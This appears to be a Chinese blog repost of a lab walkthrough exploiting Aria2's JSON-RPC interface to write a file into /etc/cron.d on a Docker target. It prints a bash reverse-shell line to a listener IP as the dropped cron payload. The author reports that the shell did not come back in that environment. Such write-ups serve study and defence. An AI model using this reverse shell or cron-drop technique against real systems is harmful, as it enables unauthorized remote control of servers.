首页 > 其他 > 详细

Aria2 rce

时间:2021-01-03 19:11:13      阅读:36      评论:0      收藏:0      [点我收藏+]

Aria2 任意文件写入漏洞

漏洞描述

  1. 漏洞编号:rce
  2. 影响版本:
  3. 漏洞产生原因:

Aria2是一个命令行下轻量级、多协议、多来源的下载工具(支持 HTTP/HTTPSFTPBitTorrentMetalink),内建XML-RPCJSON-RPC接口。在有权限的情况下,我们可以使用RPC接口来操作aria2来下载文件,将文件下载至任意目录,造成一个任意文件写入漏洞。

 

参考文章:[https://paper.seebug.org/120/]

 

启动环境:docker-compose up -d

vulnIP:192.168.1.232

hackIP:192.168.1.37

nc监听IP:192.168.1.54

服务器IP192.168.1.54

 

6800aria2rpc服务的默认端口,环境启动后,访问`http://192.168.1.232:6800/`,发现服务已启动并且返回404页面。

技术分享图片

 

 

 

漏洞发现

关注Aria2的版本

 

 

漏洞利用

因为rpc通信需要使用json或者xml,不太方便,所以我们可以借助第三方UI来和目标通信,如 http://binux.github.io/yaaw/demo/

打开yaaw,点击配置按钮,填入运行aria2的目标域名:`http://192.168.1.232:6800/jsonrpc`:

技术分享图片

 在服务器生成文件

注意,这个文件要在linux环境下生成,因为在linuxwindows下的换行符不同
shell

bash -i>/dev/tcp/192.168.1.54/1234 0>&1

然后点击Add,增加一个新的下载任务。在Dir的位置填写下载至的目录,File Name处填写文件名。比如,我们通过写入一个crond任务来反弹shell

 技术分享图片

这时候,arai2会将恶意文件(我指定的URL)下载到/etc/cron.d/目录下,文件名为shell。而在debian中,/etc/cron.d目录下的所有文件将被作为计划任务配置文件(类似crontab)读取,等待一分钟不到即成功反弹shell

 技术分享图片

> 如果反弹不成功,注意crontab文件的格式,以及换行符必须是`\n`,且文件结尾需要有一个换

 

 

问题汇总

等了一会发现kali并没有监听到shell
所以进入docker容器检查

 技术分享图片

 确实已经下载,执行一下

技术分享图片

 检查定时任务。。。这个确实是环境不允许,靶场docker镜像不完整,crontab -l 检查,没有定时任务在执行;检查定时任务服务开启,没有问题,检查日志,该环境没有crontab日志,且进行下一步检查时,缺少crontab的其他环境,无法继续,可以推断这个问题,就是因为环境的不完整导致的。

技术分享图片

看样子在docker环境下是有很多限制的,首先是权限,直接是无法执行的在更完整的生产环境中,应该是可以正常拿shell的。

 

 

修复方案

打补丁,升级到最新版本~

 

 

2021-01-03 16:55:09

Aria2 rce

原文:https://www.cnblogs.com/huangxiaosan/p/14226049.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!